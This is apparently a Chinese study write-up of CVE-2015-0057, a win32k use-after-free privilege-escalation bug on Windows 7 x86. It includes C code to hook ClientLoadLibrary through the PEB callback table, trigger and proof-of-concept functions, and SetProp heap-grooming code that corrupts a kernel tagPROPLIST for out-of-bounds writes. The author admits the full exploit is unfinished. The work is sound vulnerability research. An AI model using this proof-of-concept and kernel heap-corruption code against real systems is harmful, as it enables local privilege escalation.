CVE-2015-0057提权漏洞学习笔记

admin 2022年6月19日22:42:22评论35 views字数 17285阅读57分37秒阅读模式

CVE-2015-0057提权漏洞学习笔记

本文为看雪论坛精华文章
看雪论坛作者ID:1900





前言


1.漏洞描述


该漏洞是一个UAF漏洞,存在于win32k!xxxEnableWndSBArrows函数中。xxxEnableWndSBArrows函数会对tagWND对象的pSBInfo指针所指向的tagSBINFO结构体中的成员进行计算,但是在计算之前,xxxEnableWndSBArrows函数并没有验证tagSBINFO对象是否存在。如果tagSBINFO对象不存在,此时就会产生写入错误。

通过内存布局,可以在释放的tagSBINFO对象中使用tagPROPLIST对象进行填充,那么xxxEnableWndSBArrows函数就会修改tagPROPLIST对象中的成员造成写溢出,利用这个写溢出可以实现任意地址写的操作,最终实现提权。然而,这个实现真的太难了,目前写不出exp利用它,希望以后可以。

2.实验环境


  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,OllyDbg,WinDbg





漏洞分析


1.漏洞成因


xxxEnableWndSBArrows函数用于开启或关闭一个或两个(水平或垂直)滚动条控件的箭头,窗口对象tagWND中保存了指向保存滚动条对象的结构体指针。tagWND对象的结构体定义如下:
2: kd> dt -v win32k!tagWNDstruct tagWND, 170 elements, 0xb0 bytes   +0x000 head             : struct _THRDESKHEAD, 5 elements, 0x14 bytes   +0x014 state            : Uint4B   +0x018 state2           : Uint4B   +0x01c ExStyle          : Uint4B   +0x020 style            : Uint4B   +0x024 hModule          : Ptr32 to Void   +0x028 hMod16           : Uint2B   +0x02a fnid             : Uint2B   +0x02c spwndNext        : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes   +0x030 spwndPrev        : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes   +0x034 spwndParent      : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes   +0x038 spwndChild       : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes   +0x03c spwndOwner       : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes   +0x040 rcWindow         : struct tagRECT, 4 elements, 0x10 bytes   +0x050 rcClient         : struct tagRECT, 4 elements, 0x10 bytes   +0x060 lpfnWndProc      : Ptr32 to     long    +0x064 pcls             : Ptr32 to struct tagCLS, 25 elements, 0x5c bytes   +0x068 hrgnUpdate       : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes   +0x06c ppropList        : Ptr32 to struct tagPROPLIST, 3 elements, 0x10 bytes   +0x070 pSBInfo          : Ptr32 to struct tagSBINFO, 3 elements, 0x24 bytes   +0x074 spmenuSys        : Ptr32 to struct tagMENU, 19 elements, 0x6c bytes   +0x078 spmenu           : Ptr32 to struct tagMENU, 19 elements, 0x6c bytes   +0x07c hrgnClip         : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes   +0x080 hrgnNewFrame     : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes   +0x084 strName          : struct _LARGE_UNICODE_STRING, 4 elements, 0xc bytes   +0x090 cbwndExtra       : Int4B   +0x094 spwndLastActive  : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes   +0x098 hImc             : Ptr32 to struct HIMC__, 1 elements, 0x4 bytes   +0x09c dwUserData       : Uint4B   +0x0a0 pActCtx          : Ptr32 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes   +0x0a4 pTransform       : Ptr32 to struct _D3DMATRIX, 16 elements, 0x40 bytes   +0x0a8 spwndClipboardListenerNext : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes   +0x0ac ExStyle2         : Uint4B

其中偏移0x70保存的是tagSBINFO结构体指针,该结构体保存了滚动条对象的信息,结构体定义如下:
2: kd> dt -v win32k!tagSBINFO  -rstruct tagSBINFO, 3 elements, 0x24 bytes   +0x000 WSBflags         : Int4B   +0x004 Horz             : struct tagSBDATA, 4 elements, 0x10 bytes    // 保存水平滚动条的相关信息      +0x000 posMin           : Int4B      +0x004 posMax           : Int4B      +0x008 page             : Int4B      +0x00c pos              : Int4B   +0x014 Vert             : struct tagSBDATA, 4 elements, 0x10 bytes    // 保存垂直滚动条的相关信息      +0x000 posMin           : Int4B      +0x004 posMax           : Int4B      +0x008 page             : Int4B      +0x00c pos              : Int4B

xxxEnableWndSBArrows函数的反汇编代码如下,第二个参数和第三个参数要设定为特定的值来达到漏洞点,暂时先忽略这两个参数。真正产生漏洞的是第一个参数,该参数就是要设置滚动条的窗口对象tagWND。在xxxEnableWndSBArrows函数开始会将tagWND对象的tagSBINFO对象地址取出,之后会调用xxxDrawScrollBar,该函数将会返回用户层,执行用户层的ClientLoadLibrary函数,之后,xxxEnableWndSBArrows函数会对tagSNINFO的第一个成员,即WSBflags成员进行计算。

在对WSBflags成员进行计算的时候,xxxEnableWndSBArrows函数并没有验证tagSBINFO对象是否存在,而在调用xxxDrawScrollBar函数的时候,用户可以HOOK ClientLoadLibrary函数,在用户定义的函数中可以释放tagWND对象,导致tagSBINFO对象被释放,从而导致xxxEnableWndSBArrows函数对一个被释放的tagSBINFO对象的WSBflags成员进行计算,造成了错误。
signed int __stdcall xxxEnableWndSBArrows(int pTagWnd, int wSBflags, int wArrow){  int var_pTagWnd;   int *SBInfo;    var_pTagWnd = pTagWnd;  SBInfo = *(int **)(pTagWnd + 0x70);    // tagWND偏移0x70保存的是pSBInfo,对其进行解引用得到结构体tagSBINFO的地址     if ( SBInfo )  {    // 取出tagSBINFO的第一个成员,即WSBflags    WSBflags = *SBInfo;  }     if ( !wSBflags || wSBflags == 3 )    // 判断wSBflags是否不为0或等于3  {    if ( wArrow )             // 判断wArrow是否为0      *SBInfo |= wArrow;        // 不为0,将tagSBINFO的第一个成员,即WSBflags的值与wArrow进行或运算    else      *SBInfo &= 0xFFFFFFFC;            // 为0则低两位清0    if ( *SBInfo != WSBflags )          // 判断WSBflags是否发生更改    {      if ( *(_BYTE *)(var_pTagWnd + 0x14) & 4 )      {        // IsVisible将会对tagWND是否可见进行判断,可见则返回TRUE        if ( !(*(_BYTE *)(var_pTagWnd + 0x23) & 0x20) && IsVisible(var_pTagWnd) )          // 该函数的调用会返回到用户层执行代码,此时用户可以通过HOOK来释放tagWND从而导致对应的tagSBINFO对象也被释放            xxxDrawScrollBar((_DWORD *)var_pTagWnd, WinDC, 0);        }    }  }  if ( wSBflags == 1 || wSBflags == 3)    // 判断wSBflags是否等于1或者等于3  {    // 对WSBflags进行计算,这里没有验证tagSBINFO是否存在,导致漏洞的产生    *SBInfo = wArrow ? 4 * wArrow | *SBInfo : *SBInfo & 0xFFFFFFF3;  }}


2.执行用户层函数


xxxEnableWndSBArrows函数通过xxxDrawScrollBar函数返回到用户层,xxxDrawScrollBar函数通过层层调用返回到用户层的。一步步跟进的话,会发现返回到用户层的调用流程是:xxxDrawScrollBar->xxxDrawSB2->xxxGetColorObjects->xxxDefWindowProc->xxxLoadUserApiHook->xxLoadHmodIndex->ClientLoadLibrary。在ClientLoadLibrary函数中,会调用KeUserModeCallback:
.text:BF895BD9                 lea     eax, [ebp+var_228].text:BF895BDF                 push    eax.text:BF895BE0                 lea     eax, [ebp+var_22C].text:BF895BE6                 push    eax.text:BF895BE7                 push    dword ptr [esi].text:BF895BE9                 push    esi.text:BF895BEA                 push    41h.text:BF895BEC                 call    ds:__imp__KeUserModeCallback@20 ; KeUserModeCallback(x,x,x,x,x).text:BF895BF2                 mov     edi, eax

KeUserModeCallback函数实现了win32k的回调机制,调用该函数可以返回到用户层执行用户层的函数,这些用户层的函数被预先设定在了回调函数表中,KeUserModeCallback函数的定义如下:
NTSTATUSNTAPIKeUserModeCallback(IN ULONG RoutineIndex,                   IN PVOID Argument,                   IN ULONG ArgumentLength,                   OUT PVOID *Result,                   OUT PULONG ResultLength)

回调函数表可以认为是一个数组,里面的每一个元素都保存了不同的用户层函数的函数地址。KeUserModeCallback函数的第一个参数就是该回调函数表的索引,通过这个索引就可以从回调函数表中找到要执行的用户层的函数,这里这个索引是0x41。

回调函数表的首地址,保存在了PEB结构体偏移0x2C的KernelCallbackTable成员中。
kd> dt _PEBntdll!_PEB   +0x02c KernelCallbackTable : Ptr32 Void

想要查看函数地址表中的内容,只需要随便将一个文件放入到OllyDbg中,在数据窗口首先通过fs:[0x30]获取PEB地址:
CVE-2015-0057提权漏洞学习笔记
在PEB偏移0x2C的地址就可以获取函数地址表的地址:
CVE-2015-0057提权漏洞学习笔记
找到函数地址表的地址,就可以根据索引找到相应的函数,由于函数地址表所指向的是一个4字节的数组,索引索引值乘以4就得到相应的保存了函数地址的地址:

CVE-2015-0057提权漏洞学习笔记

该函数是user32.dll中的函数,根据这里的地址和user32.dll的加载地址就可以算出偏移,最后在IDA中可以看到这个函数是ClientLoadLibrary,只有一个参数且调用声明是__stdcall。
CVE-2015-0057提权漏洞学习笔记
根据上面的过程,可以通过获取PEB中的函数地址表中相应的函数地址来实现HOOK操作,相应代码如下:
BOOL HookClientLoadLibrary(){    BOOL bRet = TRUE;    PDWORD dwTarFuncAddr = 0;    DWORD dwOldProtect = 0;     dwTarFuncAddr = GetClientLoadLibrary();    // 保存原函数    g_dwOrgClientLoadLibrary = *dwTarFuncAddr;     // 修改页属性为可读可写    if (!VirtualProtect(dwTarFuncAddr,                        sizeof(DWORD),                        PAGE_READWRITE,                        &dwOldProtect))    {        bRet = FALSE;        ShowError("VirtualProtect", GetLastError());        goto exit;    }     // HOOK原函数    *dwTarFuncAddr = (DWORD)MyClientLoadLibrary;         // 恢复页属性    if (!VirtualProtect(dwTarFuncAddr,                        sizeof(DWORD),                        dwOldProtect,                        &dwOldProtect))    {        bRet = FALSE;        ShowError("VirtualProtect", GetLastError());        goto exit;    } exit:    return bRet;} PDWORD GetClientLoadLibrary(){    // 获取ClientLoadLibrary函数地址的函数表地址    __asm    {        mov eax, fs:[0x30]            // eax = PEB        mov eax, [eax + 0x2C]       // eax = KernelCallbackTable        lea eax, [eax + 0x41 * 4] // eax = ClientLoadLibrary    }}





漏洞验证


1.漏洞触发


要触发该漏洞,首先需要通过CreateWindowEx函数来创建一个带有滚动条控件的窗口对象,CreateWindowEx函数定义如下:
HWNDWINAPICreateWindowExA(    __in DWORD dwExStyle,    __in_opt LPCSTR lpClassName,    __in_opt LPCSTR lpWindowName,    __in DWORD dwStyle,    __in int X,    __in int Y,    __in int nWidth,    __in int nHeight,    __in_opt HWND hWndParent,    __in_opt HMENU hMenu,    __in_opt HINSTANCE hInstance,    __in_opt LPVOID lpParam);

调用该函数时,如果第四个参数dwStyle带有WS_VSCROLL和WS_HSCROLL标记,则创建的窗口就会具有滚动条控件。
#define WS_VSCROLL          0x00200000L#define WS_HSCROLL          0x00100000L

在上面的xxxEnableWndSBArrows函数中可以看到,在调用xxxDrawScrollBar返回用户层执行之前,会调用IsVisible对窗口对象tagWND是否可见进行判断。如果不可见,将不会调用xxxDrawScrollBar,因此,创建完窗口之后需要通过ShowWindow函数来让创建的窗口可见,该函数定义如下:
BOOL ShowWindow(HWND hWnd,int nCmdShow);

第一个参数即是要操作的窗口对象,第二个参数指定了窗口的属性,当它为SW_SHOW时,该窗口可见,此时IsVisible函数就会返回TRUE。
#define SW_SHOW             5

有了窗口对象,接下来就可以通过EnableScrollBar函数来触发漏洞,该函数最终将会执行win32k中的xxxEnableWndSBArrows。EnableScrollBar函数的定义如下:
BOOL EnableScrollBar(HWND hWnd,                     UINT wSBflags,                     UINT wArrows);

该函数的三个参数和xxxEnableWndSBArrows函数的三个参数一样,其中第一个参数就是前面提到的窗口对象。第二个参数wSBflags用来指定要操纵的滚动条,相关定义如下:
/* * Scroll Bar Constants */#define SB_HORZ             0#define SB_VERT             1#define SB_CTL              2#define SB_BOTH             3

第三个参数wArrows是用来表示箭头状态是否是可用的,相关定义如下:
/* * EnableScrollBar() flags */#define ESB_ENABLE_BOTH     0x0000#define ESB_DISABLE_BOTH    0x0003 #define ESB_DISABLE_LEFT    0x0001#define ESB_DISABLE_RIGHT   0x0002 #define ESB_DISABLE_UP      0x0001#define ESB_DISABLE_DOWN    0x0002

为了利用这个漏洞,此时第二个参数和第三个参数要分别传入SB_BOTH和ESB_DISABLE_BOTH,也就是都传入3,这样可以顺利到达漏洞点。且在最后对对象tagSBINFO的成员WSBflags进行计算的时候,会增大它的值。

综上,最终实现漏洞触发的代码如下:
BOOL Trigger_CVE_2015_0057(){    BOOL bRet = TRUE;    CHAR className[] = "Trigger";    WNDCLASSEX wc = { 0 };     memset(&wc, 0, sizeof(WNDCLASSEX));    wc.cbSize = sizeof(WNDCLASSEX);    wc.lpfnWndProc = DefWindowProc;    wc.hInstance = GetModuleHandle(NULL);    wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);    wc.hCursor = LoadCursor(NULL, IDC_ARROW);    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);    wc.lpszClassName = className;    wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);     if (!RegisterClassEx(&wc))    {        bRet = FALSE;        ShowError("RegisterClassEx", GetLastError());        goto exit;    }     g_hWnd_2015_0057 = CreateWindowEx(0,                                      className,                      0,                      SBS_HORZ |                      WS_HSCROLL |                       WS_VSCROLL,                      10,                      10,                      100,                      100,                      NULL,                      NULL,                      NULL,                      NULL);     if (!g_hWnd_2015_0057)    {        ShowError("CreateWindowEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 让创建可见,绕过IsVisible函数的判断    ShowWindow(g_hWnd_2015_0057, SW_SHOW);     UpdateWindow(g_hWnd_2015_0057);     // 设置标记,表明调用函数的时候是要触发漏洞的时候    g_bFlag_2015_0057 = TRUE;    //触发漏洞    if (!EnableScrollBar(g_hWnd_2015_0057,                 SB_BOTH,                 ESB_DISABLE_BOTH))    {        ShowError("EnableScrollBar", GetLastError());        bRet = FALSE;        goto exit;    } exit:    return bRet;}


2.POC代码编写


由上面内容可以知道,漏洞是由EnableScrollBar函数触发的,在触发漏洞之前,可以通过对PEB的函数地址表中相应的函数进行HOOK的方式来实现执行用户需要的代码,所以POC的代码如下:
BOOL POC_CVE_2015_0057(){    BOOL bRet = TRUE;     if (!HookClientLoadLibrary())    {        bRet = FALSE;        goto exit;    }     if (!Trigger_CVE_2015_0057())    {        bRet = FALSE;        goto exit;    } exit:    return bRet;}

HOOK以后要执行的函数,无非是将创建的窗口对象释放掉,这样就会相应的释放掉对应的tagSBINFO对象。因为ClientLoadLibrary函数会被多次调用,所以这里使用全局变量g_bFlags和g_dwCount用来实现在漏洞触发的时候会它进行调用。
DWORD MyClientLoadLibrary(DWORD arg0){    if (g_bFlag_2015_0057)    {        g_dwCount_2015_0057++;        if (g_dwCount_2015_0057 == 2)        {            g_bFlag_2015_0057 = FALSE;            if (!DestroyWindow(g_hWnd_2015_0057))            {                ShowError("DestroyWindow", GetLastError());                goto exit;            }             UnHookClientLoadLibrary();        }    } exit:    char buf[0x1000] = { 0 };         return ((lpClientLoadLibrary)g_dwOrgClientLoadLibrary)((DWORD)buf);}

在xxxEnableWndSBArrows函数中下断点,编译运行POC代码。可以看到,在执行xxxDrawScrollBar函数,返回用户层之前,此时的tagWND对象和tagSBINFO对象是存在的:
win32k!xxxEnableWndSBArrows+0x8e:96989bf7 6a00            push    03: kd> pwin32k!xxxEnableWndSBArrows+0x90:96989bf9 ff75fc          push    dword ptr [ebp-4]3: kd> pwin32k!xxxEnableWndSBArrows+0x93:96989bfc 57              push    edi3: kd> pwin32k!xxxEnableWndSBArrows+0x94:96989bfd e83fcd0100      call    win32k!xxxDrawScrollBar (969a6941)3: kd> r ediedi=fea0f9c03: kd> dt tagWND fea0f9c0 -r pSBInfowin32k!tagWND   +0x070 pSBInfo : 0xfea0fa78 tagSBINFO3: kd> dt tagSBINFO 0xfea0fa78 win32k!tagSBINFO   +0x000 WSBflags         : 0n3   +0x004 Horz             : tagSBDATA   +0x014 Vert             : tagSBDATA

当执行完xxxDrawScrollBar的时候,tagWND对象就已经被释放,tagSBINFO对象也会跟着释放,原来保存tagSBINFO对象的内存也被修改为特别奇怪的数值,也就意味着此时修改了其他内存的值:
3: kd> pwin32k!xxxEnableWndSBArrows+0x99:96989c02 8b06            mov     eax,dword ptr [esi]2: kd> dt tagWND fea0f9c0 -r pSBInfowin32k!tagWND   +0x070 pSBInfo : (null) 2: kd> dt tagSBINFO 0xfea0fa78win32k!tagSBINFO   +0x000 WSBflags         : 0n-23004480   +0x004 Horz             : tagSBDATA   +0x014 Vert             : tagSBDATA

可是继续向下运行,函数依然会对tagSBINFO对象的WSBflags成员进行计算,最终程序继续执行系统虽然没有蓝屏,但是会直接卡死。
3: kd> pwin32k!xxxEnableWndSBArrows+0xdf:96989c48 c1e002          shl     eax,23: kd> pwin32k!xxxEnableWndSBArrows+0xe2:96989c4b 0906            or      dword ptr [esi],eax3: kd> pwin32k!xxxEnableWndSBArrows+0xe4:96989c4d 8b4508          mov     eax,dword ptr [ebp+8]3: kd> r esiesi=fea0fa783: kd> r eaxeax=0000000c3: kd> dt tagSBINFO 0xfea0fa78win32k!tagSBINFO   +0x000 WSBflags         : 0n-23004468   +0x004 Horz             : tagSBDATA   +0x014 Vert             : tagSBDATA





漏洞利用


1.内存填充


xxxEnableWndSBArrows函数会对被释放的tagSBINFO对象进行写入,要利用这个漏洞就需要在tagSBINFO对象的内存区域保存tagPROPLIST对象,该结构体的定义如下:

显然,tagPROPLIST对象是用来保存tagPROP结构体数组的。cEntries用来说明共可以保存多少个tagPROP结构体,iFirstFree保存当前已经保存了多少个tagPROP结构体,aprop则是tagPROP结构体数组。可以通过SetProp函数在tagPROPLIST中增加tagPROP,函数定义如下:
BOOL SetProp(HWND hWnd,             LPCTSTR lpString,             HANDLE hData);

其中参数lpString对应tagPROP结构体中的atomKey,hData对应tagPROP中的hData。当通过SetProp增加tagPROP对象的时候,函数会遍历tagPROPLIST结构体中的tagPROP数组,将其中atomKey和lpString进行对比,如果一样则将hData中的数据替换为调用SetProp函数时指定的第三个参数。

如果不一样,就会判断iFirstFree是否小于cEntries,如果不小于则添加失败,否则会重新申请一块内存用来保存tagPROPLIST,因为此时多增加了一个tagPROP原来的内存不够存放了。

当tagPROPLIST中包含3个tagPROP对象的时候,此时tagPROPLIST占用的内存就会是0x10 + 0x8 +0x8 = 0x20,而一个tagSBINFO占用0x24字节,此时包含3个tagPROP对象的tagPROPLIST就会占用释放掉的tagSBINFO,xxxEnableWndSBArrows函数在向下继续运行修改tagSBINFO中的WSBflags的时候,就会修改tagPROPLIST中的cEntries(增大它的数值),这样就可以通过SetProp函数来对内存进行写溢出操作。

要实现上面的内容,首先需要通过创建一些窗口,通过调用两次SetProp来设置tagPROPLIST中的数值消耗空余内存。在重复上述调用构造如下的内存布局:
CVE-2015-0057提权漏洞学习笔记
相应的代码如下:
BOOL Init_CVE_2015_0057(){    BOOL bRet = TRUE;    DWORD i = 0;    char className[] = "Fake";     WNDCLASSEXA wc = { 0 };     memset(&wc, 0, sizeof(wc));    wc.cbSize = sizeof(wc);    wc.hInstance = GetModuleHandleA(NULL);    wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);    wc.hCursor = LoadCursor(NULL, IDC_ARROW);    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);    wc.lpszClassName = className;    wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);    wc.lpfnWndProc = WndProc_CVE_2015_0057;     if (!RegisterClassExA(&wc))    {        bRet = FALSE;        ShowError("RegisterClassExA", GetLastError());        goto exit;    }     // 消耗空闲内存块    for (i = 0; i < JUNK_OBJECTS; i++)    {        HWND hWnd = CreateWindowExA(0,                        className,                        NULL,                        WS_OVERLAPPEDWINDOW,                        CW_USEDEFAULT,                        CW_USEDEFAULT,                        CW_USEDEFAULT,                        CW_USEDEFAULT,                        NULL,                        NULL,                        NULL,                        NULL);        if (!hWnd)        {            bRet = FALSE;            ShowError("CreateWindowExA", GetLastError());            goto exit;        }          if (!SetProp(hWnd, (LPCSTR)(1), (HANDLE)0x1900))        {            bRet = FALSE;            ShowError("SetProp", GetLastError());            goto exit;        }        if (!SetProp(hWnd, (LPCSTR)(1), (HANDLE)0x1900))        {            bRet = FALSE;            ShowError("SetProp", GetLastError());            goto exit;        }    }     // 用来占用tagSBINFO    for (i = 0; i < FAKE_OBJECTS; i++)    {        g_hWndFake_2015_0057[i] = CreateWindowExA(0,                                                  className,                              NULL,                              WS_OVERLAPPEDWINDOW,                              CW_USEDEFAULT,                              CW_USEDEFAULT,                                  CW_USEDEFAULT,                              CW_USEDEFAULT,                              NULL,                              NULL,                              NULL,                              NULL);        if (!g_hWndFake_2015_0057[i])        {            bRet = FALSE;            ShowError("CreateWindowExA", GetLastError());            goto exit;        }                  if (!SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(1), (HANDLE)0x1900))        {            bRet = FALSE;            ShowError("SetProp", GetLastError());            goto exit;        }         if (!SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(2), (HANDLE)0x1900))        {            bRet = FALSE;            ShowError("SetProp", GetLastError());            goto exit;        }    }exit:    return bRet;}

在触发漏洞之前,首先会创建一个带有tagSBINFO对象的窗口对象,这个新建的tagWND和tagSBINFO对象就会占用空闲内存,所以此时的内存布局就会如下:
CVE-2015-0057提权漏洞学习笔记
接下来通过xxxEnableWndSBArrows函数触发漏洞的时候,会首先返回到用户层的ClientLoadLibrary函数,在这个函数中会释放tagWND和tagSBINFO对象,此时在通过SetProp函数增加前面的tagPROPLIST对象中的tagPROP对象,那么增加了tagPROP对象的tagPROPLIST就会占用被释放的tagSBINFO对象,此时的内存布局如下:
CVE-2015-0057提权漏洞学习笔记
所以这个时候,对应的ClientLoadLibrary函数的实现就如下所示:
DWORD MyClientLoadLibrary(DWORD arg0){    if (g_bFlag_2015_0057)    {        g_dwCount_2015_0057++;        if (g_dwCount_2015_0057 == 2)        {            g_bFlag_2015_0057 = FALSE;            // 销毁tagWND对象,跟着也会销毁tagSBINFO对象            if (!DestroyWindow(g_hWnd_2015_0057))            {                ShowError("DestroyWindow", GetLastError());                goto exit;            }             UnHookClientLoadLibrary();                         // 增加tagPROP,让tagPROPLIST占用tagSBINFO            for (DWORD i = 1; i < FAKE_OBJECTS; i++)            {                SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(3), (HANDLE)0x1874);            }        }    } exit:    char buf[0x1000] = { 0 };         return ((lpClientLoadLibrary)g_dwOrgClientLoadLibrary)((DWORD)buf);}

在xxxEnableWndSBArrows函数下断点,再次编译运行程序,当运行到xxxDrawScrollBar函数返回到用户层之前,此时可以看到tagWND和tagSBINFO是存在的:
3: kd> pwin32k!xxxEnableWndSBArrows+0x8e:96e69bf7 6a00            push    03: kd> pwin32k!xxxEnableWndSBArrows+0x90:96e69bf9 ff75fc          push    dword ptr [ebp-4]3: kd> pwin32k!xxxEnableWndSBArrows+0x93:96e69bfc 57              push    edi3: kd> pwin32k!xxxEnableWndSBArrows+0x94:96e69bfd e83fcd0100      call    win32k!xxxDrawScrollBar (96e86941)3: kd> r ediedi=feb0aaa03: kd> dt tagWND feb0aaa0 -r pSBInfowin32k!tagWND   +0x070 pSBInfo : 0xfeb0acb8 tagSBINFO3: kd> dt tagSBINFO 0xfeb0acb8win32k!tagSBINFO   +0x000 WSBflags         : 0n3   +0x004 Horz             : tagSBDATA   +0x014 Vert             : tagSBDATA

执行完xxxDrawScrollBar函数之后,tagSBINFO就会被tagPROPLIST对象占用,且数组中有3个tagPROP元素。
3: kd> pwin32k!xxxEnableWndSBArrows+0x99:96e69c02 8b06            mov     eax,dword ptr [esi]1: kd> dt tagWND feb0aaa0 -r pSBInfowin32k!tagWND   +0x070 pSBInfo : (null) 1: kd> dt tagPROPLIST 0xfeb0acb8win32k!tagPROPLIST   +0x000 cEntries         : 3   +0x004 iFirstFree       : 3   +0x008 aprop            : [1] tagPROP

继续向下运行,就会看到函数会将cEntries从0x3修改为0xF:
win32k!xxxEnableWndSBArrows+0xdf:96e69c48 c1e002          shl     eax,21: kd> pwin32k!xxxEnableWndSBArrows+0xe2:96e69c4b 0906            or      dword ptr [esi],eax1: kd> pwin32k!xxxEnableWndSBArrows+0xe4:96e69c4d 8b4508          mov     eax,dword ptr [ebp+8]1: kd> dt tagPROPLIST 0xfeb0acb8win32k!tagPROPLIST   +0x000 cEntries         : 0xf   +0x004 iFirstFree       : 3   +0x008 aprop            : [1] tagPROP

这个时候继续调用SetProp函数,就会对相邻的内存进行越界写入操作。

2.任意地址写入


想要实现任意地址写入,需要用到tagWND结构体中的strName成员:
3: kd> dt win32k!tagWND -r strName   +0x084 strName : _LARGE_UNICODE_STRING

该成员是_LARGE_UNICODE_STRING结构体,定义如下:
3: kd> dt -v win32k!_LARGE_UNICODE_STRINGstruct _LARGE_UNICODE_STRING, 4 elements, 0xc bytes   +0x000 Length           : Uint4B   +0x004 MaximumLength    : Bitfield Pos 0, 31 Bits   +0x004 bAnsi            : Bitfield Pos 31, 1 Bit   +0x008 Buffer           : Ptr32 to Uint2B

该成员是用来设置字符串的,可以通过RtlInitLargeUnicodeString函数来初始化要设置的_LARGE_UNICODE_STRING结构体,函数定义如下:
VOIDNTAPIRtlInitLargeUnicodeString(PLARGE_UNICODE_STRING DestinationString,              PCWSTR SourceString,              INT Unknown,              INT datasize)

接下来就可以通过NtUserDefSetText函数来将字符串写入到相应的窗口对象中,函数定义如下:
BOOL NTAPI NtUserDefSetText(HWND hwnd, PLARGE_UNICODE_STRING pstrText);

而具体将字符串复制的目标地址,则由_LARGE_UNICODE_STRING中的Buffer成员指定,所以如果可以设置这个成员的值,也就是tagWND对象偏移0x8C处的值为任意地址,就可以通过NtUserDefSetText函数实现任意地址读写。

但是并不能在tagPROPLIST对象后跟tagWND对象,然后通过SetProp时的越界写操作修改tagWND中的Buffer。因为Buffer的偏移是0x8C,不能被8整除,可是用SetProp写入内存的时候,只可以修改前面的6个字节,也就是hData和atomKey。

所以要成功利用,还要分以下几个步骤,首先是在被利用增大的tagPROPLIST后在跟一个tagPROPLIST,这样就可以通过被增大的tagPROPLIST来修改后面跟着的tagPROPLIST中的cEntires和iFirstFree,把前者增大实现越界写,后者则可以用来指定要写入的地址,如下图所示:
CVE-2015-0057提权漏洞学习笔记
iFirstFree指向的是相邻tagWND的tagSBINFO指针,该指针在偏移0x70处,是可以被8整除。此时再看tagSBINFO的结构:
2: kd> dt -v win32k!tagSBINFO  -rstruct tagSBINFO, 3 elements, 0x24 bytes   +0x000 WSBflags         : Int4B   +0x004 Horz             : struct tagSBDATA, 4 elements, 0x10 bytes    // 保存水平滚动条的相关信息      +0x000 posMin           : Int4B      +0x004 posMax           : Int4B      +0x008 page             : Int4B      +0x00c pos              : Int4B   +0x014 Vert             : struct tagSBDATA, 4 elements, 0x10 bytes    // 保存垂直滚动条的相关信息      +0x000 posMin           : Int4B      +0x004 posMax           : Int4B      +0x008 page             : Int4B      +0x00c pos              : Int4B

其中的posMin和posMax是可以通过SetScrollInfo函数来进行修改的,该函数定义如下:
int SetScrollInfo(          HWND hwnd,    int fnBar,    LPCSCROLLINFO lpsi,    BOOL fRedraw);

第四个参数是一个SCROLLINFO结构体,用来指明要写入的数据,该结构体定义如下:
typedef struct tagSCROLLINFO {     UINT cbSize;     UINT fMask;     int  nMin;     int  nMax;     UINT nPage;     int  nPos;     int  nTrackPos; }   SCROLLINFO, *LPSCROLLINFO; typedef SCROLLINFO CONST *LPCSCROLLINFO;

当fMask指定为SIF_RANGE的时候,nMin和nMax中的值就会写入到tagSBINFO中的posMin和posMax。

所以,将相邻的tagWND的tagSBINFO指针指向strName的MaximumLength,如下图所示,就可以通过SetScrollInfo函数修改posMin和posMax来修改Buffer,实现任意地址写入。
CVE-2015-0057提权漏洞学习笔记

然而这个过程真的太难了,暂时不知道要怎么实现,希望以后可以成功实现吧。

参考链接

  • https://www.anquanke.com/post/id/192604
  • https://www.anquanke.com/post/id/163973
  • https://bbs.pediy.com/thread-247281.htm



CVE-2015-0057提权漏洞学习笔记


看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

CVE-2015-0057提权漏洞学习笔记



# 往期推荐

1.2022DASCTF MAY 出题人挑战赛

2.go语言模糊测试与oss-fuzz

3.CVE-2018-15664:符号链接替换漏洞

4.万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64)

5.cgibin中与upnp协议有关的一些漏洞分析与复现

6.一种新的Android Runtime环境仿真及调试方法



CVE-2015-0057提权漏洞学习笔记



CVE-2015-0057提权漏洞学习笔记

球分享

CVE-2015-0057提权漏洞学习笔记

球点赞

CVE-2015-0057提权漏洞学习笔记

球在看



CVE-2015-0057提权漏洞学习笔记

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):CVE-2015-0057提权漏洞学习笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月19日22:42:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2015-0057提权漏洞学习笔记https://cn-sec.com/archives/1128495.html

发表评论

匿名网友 填写信息